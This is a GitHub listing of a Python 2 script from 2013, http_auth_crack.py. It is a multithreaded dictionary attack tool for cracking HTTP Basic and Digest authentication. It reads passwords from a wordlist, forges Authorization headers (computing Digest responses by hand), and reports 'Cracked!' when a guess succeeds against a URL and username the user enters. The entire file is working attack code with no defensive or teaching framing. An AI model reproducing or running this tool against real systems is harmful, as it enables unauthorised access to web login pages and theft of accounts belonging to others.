-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhttp_auth_crack.py
executable file
·164 lines (148 loc) · 3.7 KB
/
http_auth_crack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#-*-coding:utf-8-*-
'''
by SiRius.Gothack([email protected]) 2013-03-15
'''
from urllib2 import Request, urlopen, URLError, HTTPError
import urllib
from md5 import *
from random import *
import os
import Queue
import threading,time
global url
global uname
global auth_method
global queue
def request(url):
#req = Request(url)
try:
resp = urlopen(url)
code = resp.code
except HTTPError,e:
code = e.code
#print 'Error code: ',code
if 'Digest' in str(e.info()):
#print 'Digest'
nonce=str(e.info()).split('nonce="')[1].split('"')[0]
#print nonce
return nonce
elif 'Basic' in str(e.info()):
return 'Basic'
def Basic(url,username,password):
username = username.strip()
password = password.strip()
url = url
token = username+':'+password
headers={'Authorization':'Basic '+token.encode('base64').strip()}
req = Request(url,None,headers)
try:
resp = urlopen(req)
code = resp.code
except HTTPError,e:
code = e.code
#print code
if code == 200:
print 'Cracked!Basic Password is : ',password
os._exit(1)
elif password == '':
print 'Password not found!'
os._exit(1)
def Digest(url,username,password):
'''digest'''
nonce = request(url)
realm = 'Web Control Center'
username = username.strip()
password = password.strip()
method = 'GET'
uri = '/'
A1 = username+':'+realm+':'+password
HA1 = md5(A1).hexdigest()
A2 = method+':'+uri
HA2 = md5(A2).hexdigest()
nc = '00000001'
cnonce = md5(str(random())).hexdigest()
qop = 'auth'
response = md5(HA1+":"+nonce+":"+nc+":"+cnonce+":"+qop+":"+HA2).hexdigest()
'''digest finish'''
headers = {'Authorization':'Digest username="'+username+'",realm="'+realm+'",nonce="'+nonce+'",uri="'+uri+'",response="'+response+'",qop="'+qop+'",nc="'+nc+'",cnonce="'+cnonce+'"'}
req = Request(url,None,headers)
try:
resp = urlopen(req)
code = resp.code
except HTTPError,e:
code = e.code
#nonce = str(e.info()).split('nonce="')[1].split('"')[0]
#print code
#return code
if code == 200:
print 'Cracked!Digest Password is : ',password
os._exit(1)
elif password == '':
print 'Password not found!'
os._exit(1)
class Producer(threading.Thread):
def __init__(self,FILE):
threading.Thread.__init__(self)
self.FILE = FILE
def run(self):
pwdfile = open(self.FILE)
while True:
if queue.qsize() > 1000:
pass
else:
pwd = pwdfile.readline().strip()
queue.put(pwd)
#print '+',pwd
class Basic_Consumer(threading.Thread):
def __init__(self,url,uname):
threading.Thread.__init__(self)
self.url = url
self.uname = uname
def run(self):
while True:
if queue.qsize() < 10:
#print queue.qsize()
pass
else:
passwd = queue.get()
Basic(self.url,self.uname,passwd)
print '-',passwd
class Digest_Consumer(threading.Thread):
def __init__(self,url,uname):
threading.Thread.__init__(self)
self.url = url
self.uname = uname
def run(self):
while True:
if queue.qsize() < 10:
#print queue.qsize()
pass
else:
passwd = queue.get()
Digest(self.url,self.uname,passwd)
#print '-',passwd
def main():
FILE = 'password.txt'
password = open(FILE)
url = raw_input('Input the url(http://111.11.85.91:880): ')
uname = raw_input('Input username: ')
thread_count = int(raw_input('How many threads do you want to start: '))
auth_method = request(url)
p = Producer(FILE)
p.start()
time.sleep(1)
if auth_method == 'Basic':
print 'Auth method is Basic...'
for i in range(thread_count):
c = Basic_Consumer(url,uname)
c.start()
print c.name+' is started...'
else:
print 'Auth method is Digest...'
for i in range(thread_count):
c = Digest_Consumer(url,uname)
c.start()
print c.name+' is started...'
if __name__=='__main__':
queue = Queue.Queue()
main()